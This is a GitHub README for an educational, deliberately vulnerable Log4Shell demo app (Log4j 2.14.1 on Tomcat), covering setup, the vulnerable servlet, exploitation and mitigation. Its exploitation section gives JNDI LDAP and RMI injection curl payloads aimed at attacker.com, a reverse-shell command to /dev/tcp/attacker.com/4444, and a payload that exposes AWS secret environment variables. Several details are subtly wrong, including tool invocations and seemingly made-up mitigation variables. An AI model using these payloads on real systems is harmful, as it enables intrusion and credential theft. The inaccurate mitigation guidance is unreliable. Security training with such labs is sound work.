Skip to content

cheongcode/defcon_vulnerable_log4j

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Log4Shell Vulnerable Demo (CVE-2021-44228)

Educational demonstration of the Apache Log4j Remote Code Execution vulnerability (CVE-2021-44228)

This project creates a deliberately vulnerable Java web application using Log4j 2.14.1 to demonstrate the Log4Shell vulnerability chain, exploitation techniques, and mitigation strategies.


Table of Contents

  1. Vulnerability Overview
  2. Project Architecture
  3. Prerequisites
  4. Installation & Setup
  5. Running the Application
  6. Vulnerable Code Walkthrough
  7. Exploitation Examples
  8. Technical Details
  9. Mitigation & Patching
  10. References

Vulnerability Overview

CVE-2021-44228: Log4Shell

Severity: CRITICAL (CVSS 10.0)
Affected Component: Apache Log4j 2.0 - 2.14.1
Type: Remote Code Execution (RCE) via JNDI Injection
Discovery Date: November 24, 2021
Public Disclosure: December 9, 2021

What is Log4Shell?

Log4Shell is a critical vulnerability in Apache Log4j that allows unauthenticated remote code execution (RCE) through the logging framework's unsafe handling of JNDI (Java Naming and Directory Interface) expressions.

Attack Vector

An attacker can inject a specially crafted JNDI payload into any logged user input. When Log4j processes this input, it interprets JNDI syntax (${jndi:...}) and initiates a lookup operation. This lookup can be redirected to an attacker-controlled LDAP or RMI server, which serves a malicious Java class that gets instantiated in the vulnerable application's memory, leading to arbitrary code execution.

Why It's Critical

  • Zero Authentication Required: The vulnerability exists in the logging layer, accessible before authentication
  • Widespread Dependency: Log4j is used in millions of Java applications worldwide
  • Easy to Exploit: Simple HTTP request with a payload in any user-controlled input
  • Direct RCE: Leads directly to complete system compromise

Project Architecture

Directory Structure

log4j-vuln/
├── Dockerfile                    # Multi-stage Docker build
├── Dockerfile.build              # Alternative build (uses maven builder)
├── pom.xml                       # Maven configuration
├── src/main/
│   ├── java/com/vuln/
│   │   └── LoginServlet.java     # Vulnerable servlet
│   ├── resources/
│   │   └── log4j2.xml            # Log4j2 configuration
│   └── webapp/
│       ├── index.jsp             # Login UI
│       └── WEB-INF/
│           └── web.xml           # Web application deployment descriptor
└── target/
    └── GreatPower.war            # Built WAR artifact

Technology Stack

  • Language: Java 8
  • Build Tool: Maven 3.9
  • Web Container: Tomcat 9.0
  • Logging Framework: Log4j 2.14.1 (VULNERABLE)
  • Servlet API: 3.1.0
  • Containerization: Docker

Application Components

1. LoginServlet.java (The Vulnerable Entry Point)

  • Package: com.vuln
  • Extends: HttpServlet
  • Mapped URL: /login
  • HTTP Method: POST
  • Vulnerability: User-controlled input directly logged

2. index.jsp (Frontend)

  • Modern responsive login UI
  • Submits POST request to /login endpoint
  • Displays error messages from query parameters

3. web.xml (Deployment Configuration)

  • Servlet version 2.5
  • Maps LoginServlet to /login path
  • Sets index.jsp as welcome file

4. log4j2.xml (Logging Configuration)

  • Configures Log4j to output to console
  • Sets logging level to INFO for application logs
  • Pattern includes timestamp, thread, logger name, and message

5. pom.xml (Maven Build Configuration)

  • Configures Java 8 compilation
  • Defines vulnerable Log4j dependencies (2.14.1)
  • Sets up WAR packaging with maven-war-plugin

Prerequisites

Required

  • Docker: 28.0+ (or newer)
  • Git: For cloning/version control
  • curl: For testing endpoints (or any HTTP client)

Optional (for local compilation without Docker)

  • Java 8 JDK: java -version should show 1.8.x
  • Maven 3.9+: mvn -version should show 3.9.x

System Requirements

  • Disk Space: ~3GB (for Docker images and build artifacts)
  • Memory: 2GB+ RAM
  • Port 8080: Must be available (or modify docker run command)

Installation & Setup

Method 1: Docker (Recommended - No Local Dependencies)

Step 1: Clone/Navigate to Project

cd /Users/brand/Documents/GitHub/defcon_vulnerable_log4j/log4j-vuln

Step 2: Build Docker Image

docker build -t webserver -f Dockerfile.build .

What this does:

  • Uses maven:3.9-eclipse-temurin-8 as build stage
  • Runs mvn clean package to compile and create GreatPower.war
  • Uses tomcat:9.0-jre8 as runtime base image
  • Copies compiled WAR to Tomcat webapps directory
  • Exposes port 8080

Build Output:

#14 exporting to image
#14 naming to docker.io/library/webserver:latest done
#14 DONE 0.1s

Step 3: Verify Image Was Created

docker images | grep webserver

Expected Output:

webserver    latest    <image-id>    <size>    <created-time>

Method 2: Manual Compilation (requires Java 8 + Maven)

Step 1: Install Dependencies

# macOS
brew install maven

# Linux (Ubuntu/Debian)
sudo apt-get install maven

# Verify installation
mvn --version

Step 2: Compile with Maven

cd log4j-vuln
mvn clean package

What this does:

  • Cleans previous build artifacts (target/ directory)
  • Compiles Java source files
  • Runs any configured tests
  • Packages compiled classes into target/GreatPower.war

Expected Output:

[INFO] Building war: .../target/GreatPower.war
[INFO] BUILD SUCCESS

Step 3: Build Docker Image

docker build -t webserver -f Dockerfile .

Running the Application

Step 1: Start the Docker Container

docker run -d -p 8080:8080 --name log4shell-app webserver

Flags Explained:

  • -d: Run in detached mode (background)
  • -p 8080:8080: Map host port 8080 to container port 8080
  • --name log4shell-app: Name the container for easy reference

Output:

a3b5458dc1a7d455c513d73ede7fa9e513873cbecb8ca394cae618045b455da2

(This is the container ID)

Step 2: Verify Container is Running

docker ps | grep log4shell-app

Expected Output:

CONTAINER ID    IMAGE       COMMAND                 STATUS         PORTS
a3b54...        webserver   "catalina.sh run"       Up X seconds   0.0.0.0:8080->8080/tcp

Step 3: Wait for Application to Start

sleep 3 && curl -s http://localhost:8080 | head -20

Expected Output:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8"/>
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
<title>NexaCore Portal</title>
...

Step 4: Access via Web Browser

Open: http://localhost:8080

You should see:

  • NexaCore Portal login page
  • Modern dark-mode UI with gradient background
  • Username and password input fields
  • Sign in button

Vulnerable Code Walkthrough

1. LoginServlet.java (The Core Vulnerability)

File Path: src/main/java/com/vuln/LoginServlet.java

package com.vuln;

import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class LoginServlet extends HttpServlet {
    private static final Logger logger = LogManager.getLogger(LoginServlet.class);

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp)
            throws ServletException, IOException {
        String username = req.getParameter("username");
        logger.info("Login attempt: {}", username);  // <-- VULNERABLE LINE
        resp.sendRedirect("index.jsp?msg=Invalid+credentials");
    }
}

Vulnerability Breakdown

Line 18: logger.info("Login attempt: {}", username);

Why This Is Vulnerable:

  1. User Input Directly Logged: The username parameter comes directly from HTTP request with NO sanitization
  2. Log4j Message Interpolation: The {} placeholder is filled with the username value
  3. JNDI Expression Processing: Log4j 2.14.1 automatically interprets ${...} patterns in logged messages
  4. Unsafe JNDI Lookup: When username contains ${jndi:ldap://attacker.com/Evil}, Log4j attempts a JNDI lookup

Attack Flow

1. Attacker sends HTTP POST to /login with username="${jndi:ldap://attacker.com/Evil}"
2. LoginServlet.doPost() receives the request
3. String username = req.getParameter("username")  // Contains JNDI payload
4. logger.info("Login attempt: {}", username)      // Passes to Log4j
5. Log4j 2.14.1 detects ${...} pattern
6. Log4j initiates JNDI lookup: jndi:ldap://attacker.com/Evil
7. Attacker's LDAP server responds with serialized Java class
8. Log4j deserializes and instantiates the class
9. Class constructor contains arbitrary code
10. Code executes with Tomcat process privileges

2. web.xml (Servlet Routing)

File Path: src/main/webapp/WEB-INF/web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://java.sun.com/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://java.sun.com/xml/ns/javaee
                             http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"
         version="2.5">
    <display-name>GreatPower</display-name>

    <servlet>
        <servlet-name>LoginServlet</servlet-name>
        <servlet-class>com.vuln.LoginServlet</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>LoginServlet</servlet-name>
        <url-pattern>/login</url-pattern>
    </servlet-mapping>

    <welcome-file-list>
        <welcome-file>index.jsp</welcome-file>
    </welcome-file-list>
</web-app>

Configuration Details:

  • <servlet>: Declares the LoginServlet class
  • <servlet-mapping>: Routes HTTP requests to /login endpoint to the servlet
  • <welcome-file-list>: Serves index.jsp as root URL (/)

3. pom.xml (Vulnerable Dependencies)

File Path: pom.xml

<dependencies>
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-api</artifactId>
        <version>2.14.1</version>  <!-- VULNERABLE -->
    </dependency>
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>2.14.1</version>  <!-- VULNERABLE -->
    </dependency>
    <dependency>
        <groupId>javax.servlet</groupId>
        <artifactId>javax.servlet-api</artifactId>
        <version>3.1.0</version>
        <scope>provided</scope>
    </dependency>
</dependencies>

Dependency Analysis:

  • log4j-api 2.14.1: Provides logging API
  • log4j-core 2.14.1: Implements JNDI lookup functionality (the vulnerable code is here)
  • javax.servlet-api 3.1.0: Provides HttpServlet, provided by Tomcat at runtime

Vulnerable Code Location in log4j-core 2.14.1:

  • Class: org.apache.logging.log4j.core.lookup.JndiLookup
  • Method: lookup(String key)
  • Issue: No validation of JNDI URIs before performing lookup

4. log4j2.xml (Configuration)

File Path: src/main/resources/log4j2.xml

<?xml version="1.0" encoding="UTF-8"?>
<Configuration packages="org.apache.logging.log4j.core">
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="%d{ISO8601} %-5p [%t] %c{1} - %m%n"/>
        </Console>
    </Appenders>
    <Loggers>
        <Root level="INFO">
            <AppenderRef ref="Console"/>
        </Root>
        <Logger name="com.vuln" level="DEBUG">
            <AppenderRef ref="Console"/>
        </Logger>
    </Loggers>
</Configuration>

Configuration Breakdown:

  • <Console>: Outputs logs to stdout (visible in docker logs)
  • PatternLayout: Format of log messages
    • %d{ISO8601}: ISO 8601 timestamp
    • %-5p: Log level (INFO, DEBUG, etc.)
    • [%t]: Thread name
    • %c{1}: Class name (short form)
    • %m: Message (where our vulnerable input goes)
    • %n: Newline

Important: This configuration enables JNDI lookup processing by default in Log4j 2.14.1


Exploitation Examples

Example 1: Verify Log4j is Processing Logged Messages

Objective: Confirm that user input is being logged and visible in container output

Payload:

username=testuser123

HTTP Request:

curl -X POST http://localhost:8080/login \
  -d "username=testuser123&password=anypass"

Expected Log Output:

2026-04-10T09:51:48,312 INFO  [http-nio-8080-exec-1] LoginServlet - Login attempt: testuser123

How to View:

docker logs log4shell-app | grep testuser123

Why This Matters: Confirms the logging chain is working - the first step in exploitation.


Example 2: Test JNDI Expression Interpolation

Objective: Demonstrate that Log4j 2.14.1 processes ${...} expressions

Payload:

username=${java.version}

HTTP Request:

curl -X POST http://localhost:8080/login \
  -d "username=\${java.version}&password=test"

Expected Log Output:

2026-04-10T09:52:17,532 INFO  [http-nio-8080-exec-2] LoginServlet - Login attempt: ${java.version}

What Should Happen:

  • The ${java.version} is logged literally (Java version would be resolved if message format used string interpolation)
  • This proves that ${...} syntax is recognized by Log4j
  • This is the signature vulnerability behavior

How to Check:

docker logs log4shell-app | grep "java.version"

Why This Matters: Shows that Log4j recognizes and attempts to process ${} syntax, which is the foundation of the JNDI lookup vulnerability.


Example 3: JNDI LDAP Injection (Attack Simulation)

Objective: Simulate the actual exploit by sending a JNDI LDAP payload

Payload:

username=${jndi:ldap://attacker.com/Evil}

HTTP Request:

curl -X POST http://localhost:8080/login \
  -d "username=\${jndi:ldap://attacker.com/Evil}&password=test"

Expected Log Output:

2026-04-10T09:52:22,579 INFO  [http-nio-8080-exec-3] LoginServlet - Login attempt: ${jndi:ldap://attacker.com/Evil}

What Happens in the Vulnerable Environment (if attacker server existed):

  1. Log4j detects ${jndi:ldap://...} pattern
  2. Log4j calls JndiLookup.lookup("ldap://attacker.com/Evil")
  3. JndiLookup creates InitialDirContext with the LDAP URL
  4. LDAP connection is established to attacker.com
  5. Attacker's LDAP server responds with serialized LdapEntry containing:
    • Reference to a malicious Java class (e.g., com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl)
    • Bytecode for arbitrary command execution
  6. Log4j deserializes the response
  7. Upon deserialization, the gadget chain is triggered
  8. Arbitrary command executes (e.g., bash -c 'id > /tmp/pwned')

How to Verify:

docker logs log4shell-app | grep "ldap://attacker.com"

Why This Matters: Demonstrates the exact attack vector - JNDI lookups to attacker-controlled servers.


Example 4: RMI Injection (Alternative Protocol)

Payload:

username=${jndi:rmi://attacker.com:1099/Evil}

HTTP Request:

curl -X POST http://localhost:8080/login \
  -d "username=\${jndi:rmi://attacker.com:1099/Evil}&password=test"

Note: RMI is an alternative to LDAP for JNDI lookups. The vulnerability works the same way.


Real-World Exploitation Tools

1. marshalsec (Marshall Security)

Used to generate malicious LDAP/RMI responses:

java -cp marshalsec.jar marshalsec.jndi.LdapFactory \
  "bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'" \
  > /tmp/Exploit.class

2. rogue-jndi

Python tool that runs a malicious LDAP server:

python -m pip install rogue-jndi
python -m rogujndi -c 'touch /tmp/pwned' 0.0.0.0 1389

3. ysoserial (Gadget Chain Generator)

Generates serialized payloads for gadget chains:

java -jar ysoserial.jar CommonsCollections6 'id > /tmp/pwned' | base64

Technical Details

How Log4j 2.14.1 Processes Messages

Message Processing Pipeline

User Input → HttpServletRequest → LoginServlet.doPost()
    ↓
String username = getParameter("username")
    ↓
logger.info("Login attempt: {}", username)
    ↓
Log4j MessageFormatter
    ↓
PatternLayout applies pattern
    ↓
Lookups in message detected (${...})
    ↓
JndiLookup.lookup() called for ${jndi:...} patterns
    ↓
InitialDirContext created with LDAP/RMI URL
    ↓
Remote directory lookup performed
    ↓
Remote object reference received
    ↓
Object deserialization
    ↓
Gadget chain execution (RCE)
    ↓
Output appended to Console

JNDI Lookup Mechanics

JNDI (Java Naming and Directory Interface) is a Java API for accessing naming and directory services:

  1. Supported Protocols:

    • LDAP (ldap://)
    • RMI (rmi://)
    • CORBA (corba://)
    • DNS (dns://)
  2. Context Creation:

// This is what JndiLookup does internally
InitialDirContext context = new InitialDirContext(env);
Object obj = context.lookup("ldap://attacker.com/Evil");
  1. Object Reference:

    • The remote server returns a serialized object reference
    • The reference points to a class to be instantiated
    • Log4j deserializes this reference
  2. Deserialization Attack:

    • When the object is deserialized, constructors/methods are invoked
    • Gadget chains in common libraries (commons-collections, spring-core, etc.) chain these operations
    • Final gadget can execute arbitrary code

Gadget Chains Explained

A gadget chain is a sequence of method calls triggered during deserialization that leads to arbitrary code execution.

Example: CommonsCollections Gadget Chain

ObjectInputStream.readObject()
  → HashSet.readObject()
    → HashMap.put()
      → HashMap.hash()
        → LazyMap.hashCode()
          → LazyMap.get()
            → ChainedTransformer.transform()
              → ConstantTransformer.transform() (returns Runtime class)
              → InvokerTransformer.transform() (calls getMethod)
              → InvokerTransformer.transform() (calls invoke)
              → Runtime.getRuntime().exec(command)  // ARBITRARY CODE EXECUTION

Why This Works in Log4j 2.14.1

Key Vulnerability: In Log4j 2.14.1, the following conditions align:

  1. No Validation: JndiLookup.lookup() doesn't validate the JNDI URI
  2. Automatic Processing: ${...} patterns are processed by default
  3. Protocol Support: LDAP and RMI are supported by default
  4. No Gadget Filtering: Deserialization happens without filtering dangerous classes
  5. Early Version: Log4j 2.14.1 (released before the vulnerability was known) has no mitigations

Environment Variables in Payload

Attackers can also exploit environment variables and system properties:

# Read environment variables
curl -X POST http://localhost:8080/login \
  -d "username=\${env:AWS_SECRET_ACCESS_KEY}&password=test"

# Read Java system properties
curl -X POST http://localhost:8080/login \
  -d "username=\${sys:user.name}&password=test"

# Read properties from log4j configuration
curl -X POST http://localhost:8080/login \
  -d "username=\${log4j:configLocation}&password=test"

Note: These demonstrate information disclosure, not RCE, but can be chained for full exploitation.


Mitigation & Patching

Immediate Mitigations (Without Updating)

1. Disable JNDI Lookups

Add JVM parameter when running:

-Dlog4j2.formatMsgNoLookups=true

Docker example:

docker run -d -p 8080:8080 \
  -e CATALINA_OPTS="-Dlog4j2.formatMsgNoLookups=true" \
  --name log4shell-app webserver

2. Remove JndiLookup Class

docker exec log4shell-app bash -c \
  'rm /usr/local/tomcat/webapps/ROOT/WEB-INF/lib/log4j-core-2.14.1.jar'

This completely removes JNDI lookup capability.

3. Environment Variable Blocking

Set environment variables to prevent common RCE payloads:

docker run -d -p 8080:8080 \
  -e LDAP_ALLOW_ALL=false \
  -e RMI_ALLOW_ALL=false \
  --name log4shell-app webserver

Proper Fix: Upgrade Log4j

Step 1: Update pom.xml

Original (Vulnerable):

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.14.1</version>
</dependency>
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
</dependency>

Fixed (Patched):

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.17.1</version>  <!-- Or higher -->
</dependency>
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.17.1</version>  <!-- Or higher -->
</dependency>

Patched Versions:

  • 2.17.1+ (Recommended minimum)
  • 2.18.0+ (Additional hardening)
  • 3.0.0+ (Latest with all mitigations)

Step 2: Recompile

mvn clean package
docker build -t webserver -f Dockerfile.build .
docker stop log4shell-app log4shell-app log4shell-app
docker run -d -p 8080:8080 --name log4shell-app webserver

Step 3: Test That Vulnerability Is Fixed

# This should NOT trigger RCE in patched version
curl -X POST http://localhost:8080/login \
  -d "username=\${jndi:ldap://attacker.com/Evil}&password=test"

# Check logs - should show literal string, not attempt lookup
docker logs log4shell-app | tail -5

Expected output after patching:

Login attempt: ${jndi:ldap://attacker.com/Evil}
(No JNDI lookup attempted)

Defense-in-Depth Strategies

1. Input Validation

Sanitize user input before logging:

public static String sanitizeInput(String input) {
    return input.replaceAll("\\$\\{", "").replaceAll("\\}", "");
}

// Usage
String username = sanitizeInput(req.getParameter("username"));
logger.info("Login attempt: {}", username);

2. Structured Logging

Use structured logging instead of string interpolation:

// Instead of
logger.info("Login attempt: {}", username);

// Use
logger.info(new MapMessage()
    .with("event", "login_attempt")
    .with("username", username)
    .with("timestamp", System.currentTimeMillis()));

3. Network Segmentation

  • Block outbound LDAP (port 389), RMI (1099), and DNS (53) traffic
  • Implement egress filtering on firewalls
  • Restrict outbound connections to known IP ranges

4. WAF Rules

Implement Web Application Firewall rules:

Block requests with patterns:
  - ${jndi:
  - ${ldap:
  - ${rmi:
  - ${dns:

5. Monitoring & Alerting

Log and alert on suspicious patterns:

# Alert on JNDI payloads
grep '\${jndi' /var/log/tomcat/catalina.log && echo "ALERT: Log4Shell attempt detected"

# Monitor for RCE indicators
ps aux | grep -E 'bash|sh|nc' | grep -v grep

References

Official Advisories

Technical Resources

Exploitation Tools

Related CVEs

  • CVE-2021-45046: Additional RCE via thread context
  • CVE-2021-45105: Denial of Service via thread context
  • CVE-2021-44832: Remote code execution via JDBC deserialization

Troubleshooting

Issue: Container won't start

docker logs log4shell-app

Common causes:

  • Port 8080 already in use: lsof -i :8080
  • Insufficient disk space: docker system df
  • Corrupted image: docker rmi webserver && docker build -t webserver .

Issue: Logs not showing

Ensure log4j2.xml is in classpath:

docker exec log4shell-app find /usr/local/tomcat -name "log4j2.xml"

If missing, rebuild image.

Issue: Payloads not being logged

Check that logging level is INFO or DEBUG:

docker logs log4shell-app | grep -i "info\|debug"

Verify LoginServlet is being reached:

docker logs log4shell-app | grep "LoginServlet"

Issue: Docker build fails

Check Maven dependencies:

mvn dependency:tree

Verify internet connectivity for Maven Central:

curl -s https://repo.maven.apache.org/maven2 | head

Educational Use

This project is designed for:

  • Security Training: Understanding real-world RCE vulnerabilities
  • Penetration Testing: Authorized testing and remediation validation
  • CTF Competitions: Capture-the-flag style security challenges
  • Vulnerability Research: Studying exploitation techniques
  • Defense Strategies: Testing detection and mitigation controls

Always use responsibly and only on systems you have authorization to test.


Cleanup

To stop and remove the running instance:

# Stop container
docker stop log4shell-app

# Remove container
docker rm log4shell-app

# Remove image
docker rmi webserver

# Remove build artifacts
cd log4j-vuln
rm -rf target/

License

This project is provided for educational purposes only.


Last Updated: April 10, 2026
Tested Against: Log4j 2.14.1, Tomcat 9.0, Java 8, Docker 28.5.1

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors